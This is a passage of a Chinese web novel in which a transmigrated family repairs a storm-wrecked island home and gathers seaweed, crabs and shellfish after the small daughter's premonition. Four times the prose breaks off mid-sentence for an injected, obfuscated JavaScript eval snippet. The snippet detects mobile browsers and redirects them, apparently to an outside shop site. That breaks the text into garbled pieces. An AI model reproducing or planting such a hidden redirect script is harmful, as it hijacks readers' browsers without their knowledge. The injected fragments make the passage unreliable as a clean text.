她脸上没有露出半分为难,只是点了点头,语气平淡得像是在说今天天气不错:“行,先把咸鱼干泡上,野菜干多淘几遍,把沙子洗干净了。锅巴碎屑也别扔,兑水煮一煮,能当碗汤喝。” 她弯腰从灶台底下翻出一个缺了口的陶盆,往里舀了半盆水,又从瓦罐里捡出几块咸鱼干放进去泡着:“先泡半个时辰,把咸味泡淡些,不然齁嗓子。” 夏迎香应了一声,手脚麻利地开始淘洗野菜干。赵文英去外头拎了一桶水进来,倒进锅里烧着。佟娟儿蹲在灶台前添柴,火苗舔着锅底,映得她脸上红扑扑的。 几个半大的孩子围在灶房边上,眼巴巴地看着锅里冒出来的热气,口水咽得咕咚响。 王秀莲看了他们一眼,没赶人,只是说:“都别围这么近,小心火星子溅身上。去院子里玩去,等做好了叫你们。” 孩子们这才不情不愿地散开,跑到院子里蹲着,时不时扭头往灶房这边瞅。 堂屋里,几个男人开始收拾屋子。 沈海生蹲在地上,把那扇倒下来的木门翻过来看了看,皱着眉说:“门板裂了,得找几块木板钉上,不然晚上挡不住风。” 沈冬生已经在院子里转了一圈,捡了几块被台风刮散的木板回来,又翻出一把生了锈的锤子和一把歪歪扭扭的钳子:“大哥,这几块板子应该能凑合着用。” 沈富生从墙角翻出一卷麻绳,试了试韧性,点了点头:“绳子还能用,绑一绑能顶一阵。” 沈大帆站在堂屋中间,抬头看了看屋顶。茅草被台风刮得七零八落,好几处都能看到外面的天光。这要是再下场雨,屋里得成水帘洞。 “屋顶得补,”他说,“不然下雨天没法住。院子里还有没有茅草?” 沈海生摇了摇头:“台风那几天全刮跑了,就剩墙角那点湿的,不能用。” 沈大帆皱了皱眉,目光扫过院子,角落里堆着几捆被雨水泡烂的稻草,确实没法用了。旁边还有几根胳膊粗的竹竿,是台风前不知道谁捡回来的,歪歪斜斜靠在墙根。 “先拿竹竿和木板把漏得最厉害的地方挡一挡,”他说,“等明天再想办法弄茅草。” 三个儿子应了一声,各自忙活去了。沈海生叮叮当当地钉门板,沈冬生爬上半截梯子往屋顶上递木板,沈富生在下面接着,兄弟几个配合得还算利索。 沈大帆也没闲着,把院子里散落的零碎东西归拢到一起,几根断了的扁担、一个破了洞的渔网、两三只缺了腿的板凳。能修的就留下来,实在不能用的就拆了当柴火。 他干着干着,忽然觉得少了点什么,回头一看—— 沈灵宝不知道什么时候从王秀莲身边溜了出来,正蹲在院子角落里,小手在地上画着什么。 沈大帆走过去,蹲下身:“灵宝,画什么呢?” 沈灵宝抬起头,小脸上露出一个甜甜的笑:“爹,我在画鱼!” 沈大帆低头一看,地上歪歪扭扭画了几个圈圈,勉强能看出是鱼的样子,旁边还有几个波浪线,大概是海水。他忍不住笑了:“画得真好。” 沈灵宝得了夸奖,眼睛亮亮的,又低头画了几笔。画着画着,她忽然停住了,小手悬在半空,整个人像是被什么定住了一样。 沈大帆察觉到不对:“灵宝?” 那种沉静只持续了几个呼吸的工夫。 然后她眨了眨眼,抬起头来。 “爹,”她的声音轻轻的,像是怕被谁听见似的,“海边……有好吃的。” 沈大帆一愣:“什么?” 沈灵宝歪了歪头,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483517|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在努力回忆什么,小脸上浮现出一种似懂非懂的神情:“好多好多……被浪打到岸上的……能吃。大哥去,大哥能找到。” 她说完这句,又恢复了平日里的模样,伸出小手拽了拽沈大帆的袖子,软声软气地说:“爹,灵宝饿了。” 沈大帆看着怀里的小闺女,心头猛地一跳。 他想起妻子方才说的那番话,灵宝从前就不一样,一发烧、一不对劲,准是要出大事。前世每次家里遭灾之前,这孩子总会莫名其妙地发热哭闹,当时只当是身子弱,现在想来,哪有那么巧的事? 而此刻,她安安静静地坐在这里,没有发热,没有哭闹,却用那种奇怪的神情说出“海边有好吃的”。 沈大帆没有多问。 他只是站起身,走到院子那头,喊了一声:“海生。” 沈海生正钉门板呢,听见喊声放下木板走过来:“爹,啥事?” 沈大帆看了沈灵宝一眼。小丫头已经又蹲回角落里,认认真真地画着她的鱼,好像刚才什么都没发生过。 “你带上几个小子,”沈大帆压低声音,“去海边转转。” 沈海生一愣:“去海边?这会儿去海边干啥?” 沈大帆没有解释,只是说:“去看看。台风刚过,浪头大,说不定有东西被冲到岸上来。别走远了,就在礁石那边转转,捡到什么算什么。” 沈海生心头猛地一跳,眼睛落在旁边一脸懵懂的小妹身上,见爹的神色不像是随口说说,他点了点头,转身招呼了几个半大小子:“铁柱、铁蛋、石墩,走,跟我去海边转转。” 三个小子一听要出门,兴奋得跟猴儿似的,蹦蹦跳跳地跟在后头。沈海生走到院门口,又回头拿了个破竹篓子背上,这才带着人出了门。 王秀莲在灶房里探出头来,看了看沈海生一行人的背影,又看了看蹲在角落里画画的沈灵宝,目光微微一闪,什么都没说,缩回去继续忙活了。 灶房里,几个媳妇已经把东西收拾得差不多了。 咸鱼干泡在盆里,硬邦邦的鱼肉吸了水,稍微软了些。夏迎香拿刀把鱼干切成碎末,说是刀,其实就是一块薄铁片,磨了磨刃口凑合用。她刀工利落,当当当几刀下去,咸鱼干就变成了细碎的沫子。 赵文英把野菜干淘了五六遍,沙子总算淘干净了,黑乎乎的一盆,看着实在不怎么好看。她端着盆子看了看,又加了两遍水,才倒进锅里。 佟娟儿蹲在灶台前烧火,火候控制得好,不大不小。锅里的水咕嘟咕嘟滚开了,野菜干和咸鱼碎末在锅里翻腾着,散发出一股咸腥的气味。 王秀莲把那小半碗锅巴碎屑倒进锅里,拿木勺子搅了搅,又掰了指甲盖大小的一块粗盐扔进去。 “就这些?”夏迎香看着锅里稀汤寡水的一大锅,忍不住问了一句。 王秀莲没吭声,只是拿勺子舀了一点汤尝了尝。咸味很淡,几乎尝不出来,那股咸鱼干的腥气倒是挺冲的。野菜干嚼在嘴里沙沙的,带着一股子苦涩的后味。 她面不改色地把勺子放下,点了点头:“行了,再煮一会儿就能吃了。” 夏迎香张了张嘴,想说点什么,又咽了回去。她知道娘心里清楚,这点东西,十三口人分,每人能分到小半碗就不错了,根本填不饱肚子。但家里就这些东西,能怎么办? 王秀莲像是看穿了她的心思,淡淡地说:“先对付一顿,晚些时候再看。” 她说这话的时候,目光往院子外头瞟了一眼——那是沈海生带着几个孩子离开的方向。 5. 第一顿饭! 堂屋里,屋顶修补得差不多了。 沈冬生站在梯子上,把木板一块一块地码到漏得最厉害的地方,沈富生在下面递绳子,两个人配合着把木板绑在椽子上。虽说挡不了大风,但至少能遮遮雨。 沈大帆把院子里那几根断了的扁担归拢到一起,又检查了一下院墙。半截土墙塌了,用木棍勉强拦着,一推就晃悠。他皱了皱眉,拿了几块碎石头把墙根垫了垫,又把木棍重新插紧了些。 “爹,”沈冬生在梯子上喊了一声,“屋顶先这么凑合着,等弄到茅草再重新铺。” 沈大帆点了点头:“行。先下来歇歇,一会儿该吃饭了。” 沈冬生应了一声,从梯子上爬下来,拍了拍身上的土,往灶房那边看了一眼,锅盖掀开了,热气直往外冒,那股咸腥味飘得满院子都是。 几个小的早就在灶房门口蹲着了,眼巴巴地盯着锅里的东西,口水咽得咕咚响。沈大帆的小孙子沈木墩今年四岁,是几个孙辈里最小的,比沈灵宝还小一岁,此时趴在灶台边上踮着脚尖往里看,被热气熏得眯了眼也不肯挪开。 前世,哪怕在逃荒路上,木墩都没这么馋过,奈何这个身体饿了不知道多久了,他嘴里一直不停的分泌口水,肚子里雷声震天,他忍不住问:“奶奶,好了没有?” 王秀莲拿勺子搅了搅锅里的东西,又煮了一会儿,才点了点头:“好了。” 三个儿媳立刻忙活起来,夏迎香从碗柜里翻出碗筷,赵文英拿抹布擦了擦桌子,佟娟儿把锅从灶台上端下来放在地上。说是碗柜,其实就是两块木板搭的架子,碗也没几个完整的,有粗陶碗和木碗,不是缺了口就是裂了缝,凑合着能用。 王秀莲亲自掌勺,一碗一碗地盛。 她盛得公平,每碗都是大半碗汤,里头漂着几片野菜叶子和星星点点的咸鱼末,锅巴碎屑煮化了,汤底稍微稠了那么一点点。 十三个碗,不多不少。 “先端去给爹和孩子们。”王秀莲说。 夏迎香应了一声,端了两碗送到堂屋去。沈大帆接过来,低头看了看碗里的东西,没说什么,端起碗喝了一口。 汤很稀,几乎尝不出什么味道,咸鱼干的腥气在舌尖上转了一圈,被那股苦涩的野菜味盖了过去。算不上好吃,但好歹是热的,喝进肚子里,胃里暖烘烘的。 沈冬生和沈富生也端着碗喝,谁都没说话。几个小的捧着碗蹲在墙角,一口一口地抿着,喝得仔细,连碗底的野菜叶子都用手指头扒拉干净了。 沈灵宝坐在王秀莲腿上,捧着一个小碗,小口小口地喝着。她喝得慢,但喝得很认真,喝完最后一口,抬起头来,嘴角还沾着一片野菜叶子:“娘,喝完了。” 王秀莲拿袖子给她擦了擦嘴,把自己碗里的汤倒了一半到她碗里:“再喝点。” 沈灵宝摇了摇头:“娘喝,灵宝饱了。” 王秀莲看着小闺女那张瘦得尖尖的小脸,眼眶一热,别过头去,把那半碗汤硬是给她灌了下去。 一顿饭吃完,满打满算,也就是垫了个底。肚子里有点东西了,没那么空得难受,但要说到饱,还差得远。 夏迎香带着两个弟媳妇收拾碗筷,把锅碗瓢盆刷干净了归置好。赵文英把灶膛里的灰掏出来,留了几块没烧透的木炭,省着下次用。佟娟儿把几个瓦罐重新盖好盖子,搬回原处。 王秀莲翻了翻家里的衣裳,大人小孩的衣裳没几件是好的,不是破了洞就是磨得透了亮,补丁摞补丁。几个孩子的衣裳更是短了一大截,袖子吊到胳膊肘,裤腿吊到小腿肚,看着就不像话。 “迎香,”她喊了一声,“把针线篮子拿来,趁着天还亮,先把孩子们的衣裳缝补缝补。” 夏迎香应了一声,从角落里翻出一个破破烂烂的竹篮子,里头装着几根针、一团黑线、几块碎布头,就是全部的家当了。 王秀莲接过篮子,坐在门槛上,就着下午的日光穿针引线。她把几个孙辈的衣裳一件一件地翻看,哪里的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483518|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子大了就缝上,哪里的布薄了就补一块。她缝得仔细,针脚细密匀称,补丁也裁得齐整,不像打补丁,倒像是在衣裳上绣花。 夏迎香蹲在一旁看着,忍不住说:“娘,您这针线活可真细。” 王秀莲头也没抬:“以前在娘家的时候练的。做衣裳的边角料不能扔,攒着打补丁用,能省就省。” 她说着,把沈灵宝那件小褂子翻过来看了看,袖口磨得稀烂,领子也破了一大块,前后全是补丁,几乎看不出原来的颜色。她沉默了一会儿,拿了一块稍微齐整些的碎布头,仔仔细细地补了上去。 赵文英和佟娟儿也没闲着,一个拿扫帚扫院子,一个把散落的零碎东西归置整齐。三个媳妇分工明确,各干各的,谁也不偷懒。 院子外头,沈大帆带着两个儿子继续拾掇。 沈冬生拿锯子把那几根断了的扁担锯成小段,码在灶房门口当柴火。沈富生把那张破了洞的渔网拆开,把能用的线绳收拢起来,缠成一团留着以后用。沈大帆把那几只缺了腿的板凳翻过来,拿木板削了几个腿装上,虽然坐上去歪歪扭扭的,但好歹能用了。 一家人各忙各的,日头一点一点往西沉,院子里渐渐暗了下来。 沈灵宝坐在门槛上,小手托着腮帮子,眼巴巴地看着院门口。 王秀莲缝完最后一件衣裳,把针线收进篮子里,抬头看了看天色,太阳已经落到海平面上了,天边烧着一片橘红色的晚霞,再过半个时辰就要黑了。 “海生怎么还没回来?”她嘀咕了一句,语气里带着一丝不易察觉的焦躁。 沈大帆也往院门口看了一眼,眉头微微皱起。 沈灵宝忽然从门槛上跳下来,跑到院门口,踮着脚尖往外张望。她的小脸上没有着急,反而带着一种笃定的神情,像是早就知道会发生什么似的。 “大哥回来了。”她说。 话音刚落—— 院门外传来脚步声,由远及近,踩在沙土地上沙沙响。 6. 能好才怪! 院子外,沈海生的声音老远就传了进来,带着压不住的兴奋劲儿。 “爹!娘!快出来帮忙!” 沈大帆快步走到院门口。往外一看,沈海生背着一只沉甸甸的竹篓,大步流星地往家走,竹篓压得他肩膀都歪到一边去了,可他脸上全是笑。身后跟着三个小子,铁柱、铁蛋、石墩,每人怀里都抱着一堆东西,跑得满头大汗,嘴角咧到了耳朵根。 “捡到什么了?”沈大帆问。 沈海生把竹篓往地上一放,哗啦啦倒出来一堆—— 海带! 满满当当的海带,宽的窄的都有,湿漉漉的,还带着海水的腥气。有些是完整的,有些被浪打碎了,但大部分都能吃。 “爹您看!”沈海生抓起一把海带,兴奋得声音都在发颤,“东边礁石那边全是!台风把海带全卷上来了,铺了一沙滩!我去的时候还没人发现,捡了满满一篓子!” 铁柱把怀里的东西往地上一放,是几块被海浪冲上岸的木头,虽然湿透了,但晒干了能当柴火。铁蛋怀里抱着好几个大海螺,最大的那个有拳头大,壳都碎了,但肉还在。石墩最得意,他从怀里掏出一个破网兜,里头兜着七只螃蟹,虽然个头不大,但个个都是活的,爪子还在动。 “奶奶!螃蟹!”石墩举着网兜冲进院子,差点被门槛绊一跤。 王秀莲赶紧接过来一看,忍不住笑了:“好好好,晚上给你们煮螃蟹吃!” 院子里顿时炸开了锅。几个小的围着那堆海带又蹦又跳,伸手去摸那些滑溜溜的海带片子,摸得满手都是腥味也不嫌。沈木墩蹲在地上研究那几只螃蟹,被螃蟹钳子夹了一下手指头,哎哟一声缩回手,又忍不住凑上去看。 沈大帆蹲下身,翻了翻那堆海带,品相还不错,大部分都是厚实的那种,洗干净了能煮汤、能凉拌、能晒干了存着。这一篓子加上那几个海螺和螃蟹,够全家人吃好几天的。 “礁石那边还有吗?”他问。 沈海生擦了把汗:“有!多着呢!我这一篓子才捡了一小片,那边沙滩上还有一大堆。我怕带太多回来其他人会发现,就先背回来一些,等夜深了再去捡。” 王秀莲在旁边听着,忍不住感慨了一句:“靠海吃海,这话真不假。只要勤快点,海边哪能缺了吃的?光是这岸边上,风浪一卷,浪头送上来的东西就够捡的。以前这一家人怎么就不知道勤快些呢?” 沈大帆看了她一眼,没说话,但心里头明白她说的意思。他们这具身体的原主一家子,懒是岛上出了名的。岸边上那些海带、海螺、螃蟹,哪样不是好东西?可别人家天不亮就去海边转悠,他们家日上三竿了还在炕上躺着。等想起来去了,好东西早被人捡光了,就剩点烂叶子破壳子,还不够塞牙缝的。 更别说这一家子以前还不齐心。各人顾各人,自己捡了海货就自己偷着吃,谁都不管谁。老大捡了螃蟹藏起来自己煮,老二捞了海带躲着熬汤,几个儿媳妇也是各藏各的,谁也不肯拿出来大伙儿一起吃。一家人过得跟几家人似的,日子能好才怪。 沈大帆又想起他们刚穿过来的那天。一睁眼,就闻到一股子冲鼻子的味道。炕上躺着人,脸色发青,嘴唇发紫,嘴角还挂着白沫。 原主一家不小心吃了毒草。山里采回来的那筐野菜里头,混了几棵要命的,一家十几口人,老的少的,全躺下了。等沈大帆他们醒来的时候,这具身体的原主们已经断了气。 沈大帆不知道这算不算老天爷的安排。那一家人走了,他们来了。他没法评判原主一家是好是坏,懒也好,不齐心也好,日子过得不像日子也好,那是他们的活法。 现在不一样了。 他们来了,这个家就变了样。大儿子海生捡了东西,想的是全家人的嘴。几个小的跟在后面帮忙,也没人想着自己藏一口。东西拿回来,全都堆在院子里,该煮汤煮汤,该晒干晒干,谁也不会往自己屋里揣。一家人心往一处想,劲儿往一处使,这才是过日子的样子。 沈海生嘿嘿一笑,目光不自觉地往门槛那边瞟了一眼,沈灵宝正坐在门槛上,小手托着腮帮子,笑眯眯地看着院子里热闹的景象,那双黑葡萄似的眼睛里映着天边的晚霞,亮得跟两颗小星星似的。 他走过去,蹲下身,从怀里掏出一个东西递到沈灵宝面前,是一个小海螺,壳还是完整的,淡粉色的螺纹在夕阳下泛着光,漂亮极了。 “灵宝,”他笑着说,“大哥给你捡的。” 沈灵宝接过小海螺,捧在手心里看了又看,小脸上绽开一个大大的笑容,露出几颗小米粒似的牙齿:“谢谢大哥!大哥最好了!” 沈海生伸手揉了揉她枯黄的头发,心里软得一塌糊涂。 灶房里又热闹起来了。 王秀莲指挥着三个儿媳把海带搬到院子里,打水冲洗。海带上粘着泥沙和小石子,得一片一片地洗干净。夏迎香搬了个木盆出来,兑了半盆水,蹲在地上洗海带。赵文英在旁边帮忙,把洗好的海带码在盆里。佟娟儿把那几只螃蟹倒进锅里,添了半锅水,盖上盖子煮着。 “海带留一部分今晚煮汤,”王秀莲说,“剩下的明天拿出去晒,晒干了能存好久。” “娘,那几个海螺呢?”夏迎香问。 王秀莲看了看那几块碎了壳的海螺肉,想了想:“剁碎了跟海带一起煮汤,提提鲜。” 几个媳妇手脚麻利,不一会儿就把海带洗得干干净净。夏迎香拿刀把海带切成丝,赵文英把海螺肉剁成碎末,佟娟儿在灶台前烧火,锅里煮螃蟹的水已经开了,咕嘟咕嘟冒着泡,螃蟹壳煮得通红,香味飘得满院子都是。 几个小的趴在灶房门口,鼻子一抽一抽地闻着那股香味,眼睛都直了。 “奶奶,螃蟹好了没有?”沈铁蛋咽着口水问。 王秀莲掀开锅盖看了看,拿筷子戳了戳螃蟹壳——硬了,熟了。 “好了。” 她把螃蟹捞出来放在盆里,一共七只,个头都不大,最大的那只也就巴掌大,肉不算多。他们家十三口人,七只螃蟹,怎么分都不够。 她想了想,把最大的那只挑出来放在一边,剩下的六只拿刀一切两半,这样就有十二半,那只最大的给灵宝,其余的大家伙平分。 “迎香,再煮一锅海带汤,”她说,“多放点水,海带丝多搁些,煮得稠一点。” 夏迎香应了一声,把切好的海带丝倒进锅里,添了满满一大锅水,加了点盐,盖上盖子烧着。 赵文英蹲在灶台前添柴,佟娟儿把那几个碎海螺肉倒进锅里,搅了搅。 灶膛里的火苗舔着锅底,映得几个人脸上红扑扑的。锅里的汤咕嘟咕嘟地滚着,海带的清香混着海螺的鲜味,一阵一阵地往外飘,勾得人肚子咕咕叫。 天擦黑的时候,饭好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483519|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂屋里点了盏煤油灯,豆大的火苗摇摇晃晃,照得一屋子人影影绰绰的。桌子是几块木板拼的,腿儿高矮不齐,垫了块石头才稳当。板凳也是歪歪扭扭的,坐上去吱呀吱呀响,但谁也没嫌弃。 王秀莲带着三个儿媳把饭菜端上来,一大盆海带螺肉汤,满满当当的,冒着热气;一盘切半的螃蟹,红彤彤的壳,看着就喜庆;还有一小碟子中午剩的咸鱼野菜糊糊,热了热,凑个数。 主食是没有的。但光这些,在这个家里,已经算是丰盛得不像话了。 沈大帆坐在上首,看了看桌上的饭菜,又看了看围坐在一起的一家人。昏黄的灯光照在每个人脸上,瘦是瘦了点,黄是黄了点,但眼睛里都有光。他想起刚穿过来的那天晚上,一家人躺在这间破屋子里,外头的海风呜呜地吹,吹得人心里头发凉。那时候他心里头也没底,占了人家的身子,住了人家的屋子,以后的日子该怎么过? 后来他想明白了。既然老天爷让闺女活生生的出现在这个世界,把他们一家搁在这儿,那就是要他们好好活着。现在,他们不是替原来的沈家活,是替自己活,把日子过好了,把这个家撑起来了,才对得起这具身体、这个屋檐。 他端起碗来:“吃吧。” 话音刚落,筷子就动了起来。 大人们先紧着孩子夹。沈铁柱分到半只螃蟹,壳一掰开,里头露出白嫩嫩的肉,他小心翼翼地挑出来塞到嘴里。沈灵宝捧着那整只螃蟹,小口小口地啃着,蟹肉鲜甜,她吃得眼睛都眯起来了。 “好吃吗?”王秀莲问。 “好吃!”沈灵宝用力点头,嘴角沾着蟹黄,笑得眼睛弯成月牙,“娘也吃!” 她把蟹腿掰下来,塞到王秀莲嘴边。王秀莲张嘴接了,嚼了嚼,那股鲜味在舌尖上化开,是她这辈子,不对,是两辈子加起来,吃过的最好吃的东西。 海带汤一人一碗,稠乎乎的,海带丝煮得软烂,入口即化,海螺碎末提了鲜,汤底清甜。几个小的端着碗喝得呼噜呼噜响,喝完一碗又添一碗,小肚子撑得圆滚滚的。 沈大帆喝了两碗汤,吃了半只螃蟹,胃里暖洋洋的,那股从醒来就一直堵在胸口的闷气,终于散了些。 他看着一屋子人——王秀莲正给沈灵宝擦嘴,沈海生把蟹钳子掰开递给他媳妇,沈冬生端着碗喂灵宝喝汤,沈富生把自己那份海带丝拨了一半到大侄子碗里。几个儿媳忙前忙后,添汤加菜。 这才是家的样子。 外头的天已经完全黑了,海风从破了的窗户纸里钻进来,带着咸腥的气息。屋顶上那几块木板挡着风,虽然还是漏,但比白天好了不少。煤油灯的火苗摇摇晃晃,照得每个人的影子在墙上晃来晃去。 沈灵宝吃饱了,靠在王秀莲怀里,小脑袋一点一点的,眼皮子直打架。她迷迷糊糊地抓着王秀莲的衣襟,嘴里含含糊糊地嘟囔了一句什么。 王秀莲低头凑近了听—— “娘……以后天天都有好吃的……” 王秀莲鼻子一酸,把她往怀里搂了搂,轻轻地拍着她的背。 “嗯,以后天天都有好吃的。” 沈灵宝已经睡着了,小脸上挂着笑,手心里还攥着那个淡粉色的小海螺。 外头的海风呜呜地吹,吹得屋顶的木板吱呀吱呀响,吹得破了的窗户纸呼啦呼啦地拍打着窗框。但这间破破烂烂的土坯房里,此刻却是暖烘烘的。 7. 靠海吃海! 天还没亮,沈大帆就醒了。 这是前世几十年的老习惯——鸡叫头遍起身,赶在天亮之前把一天的活计盘算清楚。逃荒那几年,他都是全家起得最早的那个,趁着夜色摸清前头的路,再回来领着一家老小赶路。 他睁开眼,盯着头顶那片黑漆漆的屋顶看了好一会儿,脑子里两个世界的记忆搅在一起,混沌得像一锅粥。 破旧的茅草屋顶,东一块西一块的木板,漏进来的风呜呜地叫。 不是他住了大半辈子的土坯房,不是那个他闭着眼都能走遍的村子。 他慢慢坐起来,炕上的稻草簌簌作响。身边,王秀莲睡得沉,呼吸绵长。炕那头,几个孙子缩在被子里,挤成一团取暖。最小的闺女窝在王秀莲怀里,小脸埋在她胳膊弯里,只露出半个额头和一撮枯黄的头发。 沈大帆看了她一眼,轻手轻脚地下了炕,摸黑穿上了鞋。 院子里比屋里还冷。海风从四面八方灌进来,吹得那扇昨天刚钉好的木门吱呀吱呀响。他站在门口,深深地吸了一口气——咸腥的、潮湿的、陌生的气息,跟前世山里的松木香和泥土味完全不一样。 这里没有山。没有他熟悉的松林、竹海、溪涧。 这里是海岛。四面都是水,抬头望出去,除了天就是海。 沈大帆迈出院门,沿着门前那条坑坑洼洼的土路往前走。天边才露出一线鱼肚白,海平面上压着一层厚厚的云,被晨光染成了灰紫色。远处传来海浪拍岸的声音,闷沉沉的,像一头巨兽在喘息。 他走得很快,步子又稳又大,一边走一边四处打量。 石螺岛不大,从东头走到西头,也不过两炷香的工夫。岛上的人家大多住在靠海那一面,房屋密集些,地势也平坦些。唯独沈家这十三口人,窝在岛东北角的山脚下,背靠一座矮山,面朝一片乱石滩,位置偏得不能再偏。 沈大帆站在山坡上往下看,把整个岛的地形尽收眼底。 岛上有淡水。他昨天就注意到了,沈家屋后那条小溪就是从山上流下来的,水虽然不大,但清得很,够一家人吃喝洗漱。山虽然不高,但林子还算密,能砍柴、能挖野菜,运气好的话说不定还能猎到点什么。 靠山吃山,靠海吃海。 沈大帆脑子里忽然冒出这句话,嘴角微微翘了翘。 前世他带着全村人逃荒,一直想找的落脚地就是一座山。山里有野物,有泉水,有木材,只要肯下力气,饿不死人。这一世虽然换成了海岛,道理是一样的,有山有海的地方,自古就不愁吃。 他把岛上的地形、道路、人家分布都暗暗记在心里,又走到昨天沈海生捡海带的那片礁石滩看了看。退潮了,礁石露出海面,上面爬满了藤壶和海螺,水洼里有小鱼小虾在蹦。远处沙滩上还散落着不少海带,被昨夜的海浪又冲上来一些。 沈大帆蹲下身,摸了摸礁石上的藤壶,又捡了一个海螺在手里掂了掂。 东西不少。够吃好几天的。 他站起身,拍了拍手上的沙子,转身往回走。走到半路,天已经大亮了,村子里传来鸡鸣狗吠的声音,有几户人家屋顶上冒出了炊烟。这个时间点,勤快的渔民早就赶海结束了,这会子拿着滩上捡回来的海货,做早上的吃食。 沈家那三间破屋子缩在山脚下,远远看去跟个窝棚似的,屋顶上的茅草秃一块黄一块,院墙塌了半截,跟旁边的人家比起来,寒碜得不像话。 沈大帆看着那几间破屋子,心里默默盘算起来。 院墙得修,不然风一吹就倒,跟没墙一样。屋顶得重新铺,不然下场雨屋里就得成泥塘。灶房得搭个棚子,不能老在堂屋角落里生火,烟熏火燎的,大人孩子都遭罪。还有茅房、鸡圈、柴房…… 一样一样来。急不得。 他推开院门走进去,院子里静悄悄的,一家人还没全醒。昨晚大儿子和二儿子他们大半夜又去了一趟海边,把白天灵宝指的那地方剩下的海货全背回来了,堆在院子角落里,黑乎乎的一堆。沈大帆走过去翻了翻,除了海带,还有不少蛤蜊和海螺,够吃好几天的了。 他正看着那堆东西,堂屋里传来窸窸窣窣的声音。 王秀莲披着衣裳出来了,头发还没梳,脸上带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483520|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚睡醒的倦意。她一眼就看见蹲在院子角落里的沈大帆,愣了一下,走过来轻声问:“当家的,啥时候起的?” “天没亮就起了。”沈大帆头也没抬,“出去转了一圈,看了看岛上的情况。” 王秀莲在他身边蹲下来,压低声音:“怎么样?” “有山有海,饿不死。”沈大帆站起身,拍了拍手上的沙子,“就是咱们这家底太薄了,什么都得从头来。” 王秀莲点了点头,没再说什么。她转身往灶房那边走,走了两步又停下来,灶台边上空空的,昨晚最后一点柴火全烧光了,灶膛里就剩一把冷灰。 “柴火没了。”她说。 沈大帆指了指院子里那堆劈好的碎木头:“昨晚把那几根断扁担锯了,够早上烧一顿的。吃完早饭我就上山砍柴去。” 王秀莲应了一声,挽了挽袖子,开始收拾灶台。她把昨晚剩的海带汤倒进锅里,添了半瓢水,又把那几个蛤蜊剥了壳,把肉切成碎末撒进去。火生起来了,灶膛里的火光映得她脸上忽明忽暗。 这时候,堂屋里传来动静,沈海生第一个走出来,揉着眼睛打了个哈欠,看见灶台这边生了火,走过来问:“娘,早上吃啥?” “海带蛤蜊汤,热热就行了。”王秀莲说,“你爹说了,今天事多,吃饱了好干活。” 沈海生应了一声,转身去院子里翻了翻昨晚背回来的那堆东西。海带底下压着几个大海螺、一兜子蛤蜊,还有一个用破布包着的东西,他打开一看,眼睛亮了。 “娘!您看这个!” 王秀莲接过来一看——是一枚蛋,比鸡蛋大些,壳是灰绿色的,上面有些褐色的斑点。 “鸟蛋?”她认出来了,“在哪儿捡的?” “就在礁石那边,一个大石头的缝里,”沈海生挠了挠头,“昨晚去的时候天黑,没看清楚,摸着像石头就揣回来了。早上拿出来一看,是蛋!” 王秀莲拿着那枚蛋在手心里掂了掂,心里盘算着,这东西金贵,家里多少天没见着蛋了。她把蛋小心翼翼地放在灶台边上,没说话,继续忙活锅里的汤。 8. 天光大亮! 天光大亮了。 沈家三个儿媳陆续起来,各自洗了脸,拢了拢头发,就到灶房来帮忙。夏迎香手脚麻利,一过来就接手了烧火的活;赵文英把碗筷搬出来,拿清水冲了冲;佟娟儿把那堆海带搬到院子里,准备等会儿晾晒。 “迎香,把那枚蛋蒸上。”王秀莲吩咐了一句。 夏迎香应了一声,从灶台边拿起那枚鸟蛋,找了个缺了口的碗,把蛋磕进去,蛋黄橙黄橙黄的,看着就喜人。她往碗里加了点水,拿筷子打散了,搁进锅里隔水蒸着。灶膛里的火烧得旺旺的,锅里的水咕嘟咕嘟地滚着,热气直往上冒。 王秀莲往堂屋里看了一眼,小女儿还没醒。 “我去看看灵宝,”她把手在围裙上擦了擦,“你们先忙,早饭好了先吃,别等她。” 